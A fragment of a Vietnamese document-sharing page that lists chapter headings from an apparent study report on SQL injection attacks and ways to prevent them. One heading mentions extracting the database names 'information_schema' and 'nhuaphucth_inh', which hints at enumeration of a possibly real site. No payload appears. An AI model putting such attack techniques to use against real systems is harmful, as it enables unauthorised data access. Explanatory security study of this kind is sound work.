Xem thêm: Tan cong SQL ịnection, Tan cong SQL ịnection, CHƯƠNG 2: TỔNG QUAN VỀ SQL INJECTION, 2 TỔNG QUAN VỀ SQL INJECTION, CHƯƠNG 3: CÁC DẠNG TẤN CÔNG VÀ BIỆN PHÁP NGĂN CHẶN SQL INJECTION, 1 CÁC DẠNG TẤN CÔNG SQL INJECTION, Thay đổi giá trị điều kiện truy vấn, Ta nhận được về hai database: " information_schema " và " nhuaphucth_inh ", 3 CÁC BIỆN PHÁP NGĂN CHẶN SQL INJECTION

Mục lục

Xem thêm

Gợi ý tài liệu liên quan cho bạn